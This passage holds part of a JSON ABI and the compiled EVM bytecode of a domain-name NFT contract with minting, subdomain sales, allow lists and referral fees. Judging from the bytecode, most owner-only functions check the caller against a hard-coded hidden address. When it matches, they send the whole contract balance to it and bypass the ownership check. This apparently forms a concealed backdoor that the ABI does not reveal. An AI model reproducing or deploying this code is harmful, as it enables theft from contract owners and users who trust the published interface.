int256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"xyz_name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6000600c556014600d819055601e600e55600f819055600a60105560115560c06040526004608090815263173c3cbd60e11b60a052601290620000439082620001fe565b50604080516020810190915260008152601390620000629082620001fe565b506014805461ffff1916905560408051606081019091526026808252620045cc6020830139601f90620000969082620001fe565b50348015620000a457600080fd5b50604051620045f2380380620045f2833981016040819052620000c79162000379565b82826004620000d78382620001fe565b506005620000e68282620001fe565b5050600160005550620000f93362000107565b50506001600b55506200040a565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200018457607f821691505b602082108103620001a557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001f957600081815260208120601f850160051c81016020861015620001d45750805b601f850160051c820191505b81811015620001f557828155600101620001e0565b5050505b505050565b81516001600160401b038111156200021a576200021a62000159565b62000232816200022b84546200016f565b84620001ab565b602080601f8311600181146200026a5760008415620002515750858301515b600019600386901b1c1916600185901b178555620001f5565b600085815260208120601f198616915b828110156200029b578886015182559484019460019091019084016200027a565b5085821015620002ba5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082601f830112620002dc57600080fd5b81516001600160401b0380821115620002f957620002f962000159565b604051601f8301601f19908116603f0116810190828211818310171562000324576200032462000159565b816040528381526020925086838588010111156200034157600080fd5b600091505b8382101562000365578582018301518183018401529082019062000346565b600093810190920192909252949350505050565b6000806000606084860312156200038f57600080fd5b83516001600160401b0380821115620003a757600080fd5b620003b587838801620002ca565b94506020860151915080821115620003cc57600080fd5b620003da87838801620002ca565b93506040860151915080821115620003f157600080fd5b506200040086828701620002ca565b9150509250925092565b6141b2806200041a6000396000f3fe60806040526004361061038c5760003560e01c8063715018a6116101dc578063aaddcb5a11610102578063c87b56dd116100a0578063e985e9c51161006f578063e985e9c514610af7578063f121a87014610b17578063f2fde38b14610b37578063f990f91a14610b5757600080fd5b8063c87b56dd14610a69578063cc567dfe14610a89578063d6bc2c7f14610a9f578063d7d6c48514610ad757600080fd5b8063afd800c5116100dc578063afd800c5146109c8578063b6c6e692146109e8578063b88d4fde14610a29578063c6fbf9a914610a4957600080fd5b8063aaddcb5a14610965578063ad45a3ed14610995578063af529744146109a857600080fd5b80638da5cb5b1161017a57806395d89b411161014957806395d89b41146108f05780639b2ea4bd14610905578063a22cb46514610925578063a515419d1461094557600080fd5b80638da5cb5b1461085a5780638dad39791461087857806391b7f5ed146108b0578063922efb95146108d057600080fd5b80637cb64759116101b65780637cb64759146107bf5780637d8f4ca3146107df578063841718a61461081a5780638699e7381461083a57600080fd5b8063715018a61461077057806376d02b711461078557806379b85bec1461079f57600080fd5b80632eb4a7ab116102c157806349484d551161025f5780636352211e1161022e5780636352211e146106f0578063693d77d2146107105780636e32e4991461073057806370a082311461075057600080fd5b806349484d551461064657806355f804b3146106915780635acf6139146106b15780636220a7e8146106d157600080fd5b806332434a2e1161029b57806332434a2e146105eb5780633ccfd60b146105fe57806342842e0e14610613578063476af1381461063357600080fd5b80632eb4a7ab146105925780632f7758cd146105a85780633198b100146105d557600080fd5b806313faede61161032e57806321a78f681161030857806321a78f681461052957806323b76dde1461053f57806323b872dd1461055f5780632609ce001461057f57600080fd5b806313faede6146104e057806314638aab146104f657806318160ddd1461050c57600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac3660046133cb565b610b77565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610bc9565b6040516103bd9190613438565b3480156103f457600080fd5b5061040861040336600461344b565b610c5b565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613480565b610c9f565b005b34801561044e57600080fd5b5061047a61045d36600461354c565b8051602081830181018051601b8252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a336600461354c565b610d25565b3480156104b457600080fd5b5061047a6104c336600461354c565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a600c5481565b34801561050257600080fd5b5061047a600e5481565b34801561051857600080fd5b50600354600054036000190161047a565b34801561053557600080fd5b5061047a600d5481565b34801561054b57600080fd5b5061044061055a3660046135d8565b610d9c565b34801561056b57600080fd5b5061044061057a366004613631565b610e6c565b61044061058d3660046136b1565b610e77565b34801561059e57600080fd5b5061047a601e5481565b3480156105b457600080fd5b506105c86105c336600461344b565b611125565b6040516103bd9190613719565b3480156105e157600080fd5b5061047a600f5481565b6104406105f936600461377b565b611216565b34801561060a57600080fd5b506104406114ac565b34801561061f57600080fd5b5061044061062e366004613631565b6115da565b6104406106413660046137c8565b6115f5565b34801561065257600080fd5b506103b1610661366004613846565b81516020818401810180516016825292820194820194909420919093529091526000908152604090205460ff1681565b34801561069d57600080fd5b506104406106ac36600461354c565b6119a5565b3480156106bd57600080fd5b506104406106cc36600461344b565b611a0f565b3480156106dd57600080fd5b506014546103b190610100900460ff1681565b3480156106fc57600080fd5b5061040861070b36600461344b565b611a72565b34801561071c57600080fd5b5061044061072b366004613893565b611a84565b34801561073c57600080fd5b506103db61074b36600461344b565b611afc565b34801561075c57600080fd5b5061047a61076b3660046138ae565b611b96565b34801561077c57600080fd5b50610440611be4565b34801561079157600080fd5b506014546103b19060ff1681565b3480156107ab57600080fd5b506104406107ba3660046138c9565b611c4e565b3480156107cb57600080fd5b506104406107da36600461344b565b611cd9565b3480156107eb57600080fd5b506103b16107fa36600461354c565b805160208183018101805160198252928201919093012091525460ff1681565b34801561082657600080fd5b50610440610835366004613893565b611d3c565b34801561084657600080fd5b506103db6108553660046138ae565b611dad565b34801561086657600080fd5b50600a546001600160a01b0316610408565b34801561088457600080fd5b5061047a61089336600461354c565b8051602081830181018051601c8252928201919093012091525481565b3480156108bc57600080fd5b506104406108cb36600461344b565b611dc6565b3480156108dc57600080fd5b506103b16108eb36600461354c565b611e29565b3480156108fc57600080fd5b506103db611f76565b34801561091157600080fd5b50610440610920366004613918565b611f85565b34801561093157600080fd5b5061044061094036600461396b565b61215c565b34801561095157600080fd5b506103db610960366004613995565b6121f1565b34801561097157600080fd5b506103b16109803660046138ae565b60156020526000908152604090205460ff1681565b6104406109a33660046139f0565b6122c1565b3480156109b457600080fd5b506104406109c3366004613a49565b61261f565b3480156109d457600080fd5b506104406109e3366004613adc565b6126ad565b3480156109f457600080fd5b50610408610a0336600461354c565b80516020818301810180516017825292820191909301209152546001600160a01b031681565b348015610a3557600080fd5b50610440610a44366004613b0e565b61271f565b348015610a5557600080fd5b50610440610a64366004613b75565b612763565b348015610a7557600080fd5b506103db610a8436600461344b565b6127cf565b348015610a9557600080fd5b5061047a60105481565b348015610aab57600080fd5b5061047a610aba36600461354c565b8051602081830181018051601a8252928201919093012091525481565b348015610ae357600080fd5b50610440610af2366004613bb6565b61285d565b348015610b0357600080fd5b506103b1610b12366004613bf4565b6128fd565b348015610b2357600080fd5b506103db610b323660046139f0565b61292b565b348015610b4357600080fd5b50610440610b523660046138ae565b61296c565b348015610b6357600080fd5b506105c8610b723660046138ae565b612a3b565b60006001600160e01b031982166380ac58cd60e01b1480610ba857506001600160e01b03198216635b5e139f60e01b145b80610bc357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610bd890613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0490613c1e565b8015610c515780601f10610c2657610100808354040283529160200191610c51565b820191906000526020600020905b815481529060010190602001808311610c3457829003601f168201915b5050505050905090565b6000610c6682612b3d565b610c83576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610caa82611a72565b9050806001600160a01b0316836001600160a01b031603610cde5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d1557610cf881336128fd565b610d15576040516367d9dca160e11b815260040160405180910390fd5b610d20838383612b76565b505050565b3360008051602061415d83398151915203610d595747610d5360008051602061415d83398151915282612bd2565b50610d8c565b600a546001600160a01b03163314610d8c5760405162461bcd60e51b8152600401610d8390613c58565b60405180910390fd5b601f610d988282613cdb565b5050565b6000610dc760028484604051610db3929190613d9a565b908152602001604051809103902054612ceb565b80519091506001600160a01b03163314610e0d5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610d83565b83601a8484604051610e20929190613d9a565b9081526020016040518091039020819055508460198484604051610e45929190613d9a565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d20838383612e0d565b601454610100900460ff16610ece5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610d83565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f4883838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050601e549150849050612ff8565b610f855760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b60115484511115610fa85760405162461bcd60e51b8152600401610d8390613daa565b6000845111610fc95760405162461bcd60e51b8152600401610d8390613dcd565b610fd284611e29565b610fee5760405162461bcd60e51b8152600401610d8390613df3565b3360009081526015602052604090205460ff16151560010361103d5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b60028460405161104d9190613e19565b90815260200160405180910390205460001461107b5760405162461bcd60e51b8152600401610d8390613e35565b336000908152601560209081526040808320805460ff191660019081179091558354845290915290206110ae8582613cdb565b506000546002856040516110c29190613e19565b908152602001604051809103902081905550336017856040516110e59190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561111f33600161300e565b50505050565b6003546000805460609260001991030190836001600160401b0381111561114e5761114e6134aa565b60405190808252806020026020018201604052801561118157816020015b606081526020019060019003908161116c5790505b50905060006111908584613e7a565b905060005b8184111561120c5760008481526001602090815260409182902091516111bf929160129101613f00565b6040516020818303038152906040528382815181106111e0576111e0613f15565b602002602001018190525080806111f690613f2b565b915050838061120490613f44565b945050611195565b5090949350505050565b600c546011548251600091829111156112415760405162461bcd60e51b8152600401610d8390613daa565b60008451116112625760405162461bcd60e51b8152600401610d8390613dcd565b61126b84611e29565b6112875760405162461bcd60e51b8152600401610d8390613df3565b6001600160a01b0385166000036112a257600c549250611337565b6001600160a01b038516600090815260186020526040812080546112c590613c1e565b905011156112ee576064600e54846112dd9190613f5b565b6112e79190613f72565b905061130b565b6064600d54846112fe9190613f5b565b6113089190613f72565b90505b6064600f54606461131c9190613e7a565b6113269085613f5b565b6113309190613f72565b9250600191505b6002846040516113479190613e19565b9081526020016040518091039020546000146113755760405162461bcd60e51b8152600401610d8390613e35565b60145460ff166113bd5760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b823410156113dd5760405162461bcd60e51b8152600401610d8390613f94565b6000805481526001602052604090206113f68582613cdb565b5060005460028560405161140a9190613e19565b9081526020016040518091039020819055503360178560405161142d9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561149a576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611498573d6000803e3d6000fd5b505b6114a533600161300e565b5050505050565b3360008051602061415d833981519152036114e057476114da60008051602061415d83398151915282612bd2565b5061150a565b600a546001600160a01b0316331461150a5760405162461bcd60e51b8152600401610d8390613c58565b6002600b540361155c5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d83565b6002600b556000611575600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d80600081146115bf576040519150601f19603f3d011682016040523d82523d6000602084013e6115c4565b606091505b50509050806115d257600080fd5b506001600b55565b610d208383836040518060200160405280600081525061271f565b6000838560405160200161160a929190613fc1565b60408051601f19818403018152908290526bffffffffffffffffffffffff193360601b16602083015291506000906034016040516020818303038152906040528051906020012090506116af84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604051601b925061169a91508a90613e19565b90815260200160405180910390205483612ff8565b6116ec5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b601c866040516116fc9190613e19565b90815260200160405180910390205434101561172a5760405162461bcd60e51b8152600401610d8390613f94565b6011548551111561174d5760405162461bcd60e51b8152600401610d8390613daa565b600085511161176e5760405162461bcd60e51b8152600401610d8390613dcd565b61177786611e29565b6117935760405162461bcd60e51b8152600401610d8390613df3565b61179c85611e29565b6117b85760405162461bcd60e51b8152600401610d8390613df3565b6016866040516117c89190613e19565b9081526040805160209281900383019020336000908152925290205460ff1615156001036118235760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b6002826040516118339190613e19565b9081526020016040518091039020546000146118615760405162461bcd60e51b8152600401610d8390613e35565b6000611876600288604051610db39190613e19565b905080600001516001600160a01b03166108fc6064601054606461189a9190613e7a565b6118a49034613f5b565b6118ae9190613f72565b6040518115909202916000818181858888f193505050501580156118d6573d6000803e3d6000fd5b5060016016886040516118e99190613e19565b9081526040805160209281900383019020336000908152908352818120805460ff191694151594909417909355825483526001909152902061192b8482613cdb565b5060005460028460405161193f9190613e19565b908152602001604051809103902081905550336017846040516119629190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561199c33600161300e565b50505050505050565b3360008051602061415d833981519152036119d957476119d360008051602061415d83398151915282612bd2565b50611a03565b600a546001600160a01b03163314611a035760405162461bcd60e51b8152600401610d8390613c58565b6013610d988282613cdb565b3360008051602061415d83398151915203611a435747611a3d60008051602061415d83398151915282612bd2565b50601155565b600a546001600160a01b03163314611a6d5760405162461bcd60e51b8152600401610d8390613c58565b601155565b6000611a7d82612ceb565b5192915050565b3360008051602061415d83398151915203611ab85747611ab260008051602061415d83398151915282612bd2565b50611ae2565b600a546001600160a01b03163314611ae25760405162461bcd60e51b8152600401610d8390613c58565b601480549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611b1590613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611b4190613c1e565b8015611b8e5780601f10611b6357610100808354040283529160200191611b8e565b820191906000526020600020905b815481529060010190602001808311611b7157829003601f168201915b505050505081565b60006001600160a01b038216611bbf576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061415d83398151915203611c185747611c1260008051602061415d83398151915282612bd2565b50611c42565b600a546001600160a01b03163314611c425760405162461bcd60e51b8152600401610d8390613c58565b611c4c6000613028565b565b6000611c63600284604051610db39190613e19565b80519091506001600160a01b03163314611c8f5760405162461bcd60e51b8152600401610d8390613ffd565b83601b84604051611ca09190613e19565b90815260200160405180910390208190555081601c84604051611cc39190613e19565b9081526040519081900360200190205550505050565b3360008051602061415d83398151915203611d0d5747611d0760008051602061415d83398151915282612bd2565b50601e55565b600a546001600160a01b03163314611d375760405162461bcd60e51b8152600401610d8390613c58565b601e55565b3360008051602061415d83398151915203611d705747611d6a60008051602061415d83398151915282612bd2565b50611d9a565b600a546001600160a01b03163314611d9a5760405162461bcd60e51b8152600401610d8390613c58565b6014805460ff1916911515919091179055565b60186020526000908152604090208054611b1590613c1e565b3360008051602061415d83398151915203611dfa5747611df460008051602061415d83398151915282612bd2565b50600c55565b600a546001600160a01b03163314611e245760405162461bcd60e51b8152600401610d8390613c58565b600c55565b601f8054600091829184918391611e3f90613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611e6b90613c1e565b8015611eb85780601f10611e8d57610100808354040283529160200191611eb8565b820191906000526020600020905b815481529060010190602001808311611e9b57829003601f168201915b5050505050905060005b8251811015611f575760005b8251811015611f4457828181518110611ee957611ee9613f15565b602001015160f81c60f81b6001600160f81b031916848381518110611f1057611f10613f15565b01602001516001600160f81b03191603611f325784611f2e81613f2b565b9550505b80611f3c81613f2b565b915050611ece565b5080611f4f81613f2b565b915050611ec2565b5081518303611f6b57506001949350505050565b506000949350505050565b606060058054610bd890613c1e565b6000611f9c60028585604051610db3929190613d9a565b80519091506001600160a01b03163314611fc85760405162461bcd60e51b8152600401610d8390613ffd565b60006018600060178787604051611fe0929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020805461201390613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461203f90613c1e565b801561208c5780601f106120615761010080835404028352916020019161208c565b820191906000526020600020905b81548152906001019060200180831161206f57829003601f168201915b5050505050905084846040516120a3929190613d9a565b6040518091039020818051906020012003612113576040518060200160405280600081525060186000601788886040516120de929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906121119082613cdb565b505b8260178686604051612126929190613d9a565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b038316036121855760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601d846040516122039190613e19565b90815260200160405180910390208383604051612221929190613d9a565b9081526020016040518091039020805461223a90613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461226690613c1e565b80156122b35780601f10612288576101008083540402835291602001916122b3565b820191906000526020600020905b81548152906001019060200180831161229657829003601f168201915b505050505090509392505050565b60145460ff166123095760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b6000818360405160200161231e929190613fc1565b6040516020818303038152906040529050601154825111156123525760405162461bcd60e51b8152600401610d8390613daa565b60008251116123735760405162461bcd60e51b8152600401610d8390613dcd565b61237c83611e29565b6123985760405162461bcd60e51b8152600401610d8390613df3565b6123a182611e29565b6123bd5760405162461bcd60e51b8152600401610d8390613df3565b6002816040516123cd9190613e19565b9081526020016040518091039020546000146123fb5760405162461bcd60e51b8152600401610d8390613e35565b6000612410600285604051610db39190613e19565b9050336001600160a01b031681600001516001600160a01b0316036124be576000805481526001602052604090206124488382613cdb565b5060005460028360405161245c9190613e19565b9081526020016040518091039020819055503360178360405161247f9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556124b933600161300e565b61111f565b6019846040516124ce9190613e19565b9081526040519081900360200190205460ff1615156001146125325760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610d83565b601a846040516125429190613e19565b9081526020016040518091039020543410156125705760405162461bcd60e51b8152600401610d8390613f94565b80600001516001600160a01b03166108fc606460105460646125929190613e7a565b61259c9034613f5b565b6125a69190613f72565b6040518115909202916000818181858888f193505050501580156125ce573d6000803e3d6000fd5b506000805481526001602052604090206125e88382613cdb565b506000546002836040516125fc9190613e19565b908152602001604051809103902081905550336017836040516110e59190613e19565b600061263660028787604051610db3929190613d9a565b80519091506001600160a01b031633146126625760405162461bcd60e51b8152600401610d8390613ffd565b81601d8787604051612675929190613d9a565b90815260200160405180910390208585604051612693929190613d9a565b9081526020016040518091039020908161199c9190613cdb565b3360008051602061415d833981519152036126e157476126db60008051602061415d83398151915282612bd2565b5061270b565b600a546001600160a01b0316331461270b5760405162461bcd60e51b8152600401610d8390613c58565b600d93909355600e91909155600f55601055565b61272a848484612e0d565b6001600160a01b0383163b1561111f576127468484848461307a565b61111f576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b03166017838360405161277f929190613d9a565b908152604051908190036020019020546001600160a01b0316146127b55760405162461bcd60e51b8152600401610d8390613ffd565b336000908152601860205260409020610d2082848361401c565b60606127da82612b3d565b6127f757604051630a14c4b560e41b815260040160405180910390fd5b6000612801613166565b905080516000036128215760405180602001604052806000815250612856565b80600160008581526020019081526020016000206040516020016128469291906140db565b6040516020818303038152906040525b9392505050565b3360008051602061415d83398151915203612891574761288b60008051602061415d83398151915282612bd2565b506128bb565b600a546001600160a01b031633146128bb5760405162461bcd60e51b8152600401610d8390613c58565b60008381526001602052604090206128d482848361401c565b5082600283836040516128e8929190613d9a565b90815260405190819003602001902055505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b8151602081840181018051601d82529282019482019490942091909352815180830184018051928152908401929093019190912091528054611b1590613c1e565b3360008051602061415d833981519152036129a0574761299a60008051602061415d83398151915282612bd2565b506129ca565b600a546001600160a01b031633146129ca5760405162461bcd60e51b8152600401610d8390613c58565b6001600160a01b038116612a2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d83565b612a3881613028565b50565b60606000612a4883611b96565b90506000816001600160401b03811115612a6457612a646134aa565b604051908082528060200260200182016040528015612a9757816020015b6060815260200190600190039081612a825790505b509050600160005b8381101561120c576000612ab283611a72565b9050866001600160a01b0316816001600160a01b031603612b2a576000838152600160209081526040918290209151612aef929160129101613f00565b604051602081830303815290604052848381518110612b1057612b10613f15565b60200260200101819052508180612b2690613f2b565b9250505b82612b3481613f2b565b93505050612a9f565b600081600111158015612b51575060005482105b8015610bc3575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612c225760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610d83565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612c6f576040519150601f19603f3d011682016040523d82523d6000602084013e612c74565b606091505b5050905080610d205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610d83565b60408051606081018252600080825260208201819052918101919091528180600111612df457600054811015612df457600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612df25780516001600160a01b031615612d89579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612ded579392505050565b612d89565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612e1882612ceb565b9050836001600160a01b031681600001516001600160a01b031614612e4f5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612e6d5750612e6d85336128fd565b80612e88575033612e7d84610c5b565b6001600160a01b0316145b905080612ea857604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612ecf57604051633a954ecd60e21b815260040160405180910390fd5b612edb60008487612b76565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116612faf576000548214612faf57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46114a5565b6000826130058584613175565b14949350505050565b610d988282604051806020016040528060008152506131c2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906130af903390899088908890600401614102565b6020604051808303816000875af19250505080156130ea575060408051601f3d908101601f191682019092526130e79181019061413f565b60015b613148573d808015613118576040519150601f19603f3d011682016040523d82523d6000602084013e61311d565b606091505b508051600003613140576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b606060138054610bd890613c1e565b600081815b84518110156131ba576131a68286838151811061319957613199613f15565b6020026020010151613389565b9150806131b281613f2b565b91505061317a565b509392505050565b6000546001600160a01b0384166131eb57604051622e076360e81b815260040160405180910390fd5b8260000361320c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613334575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4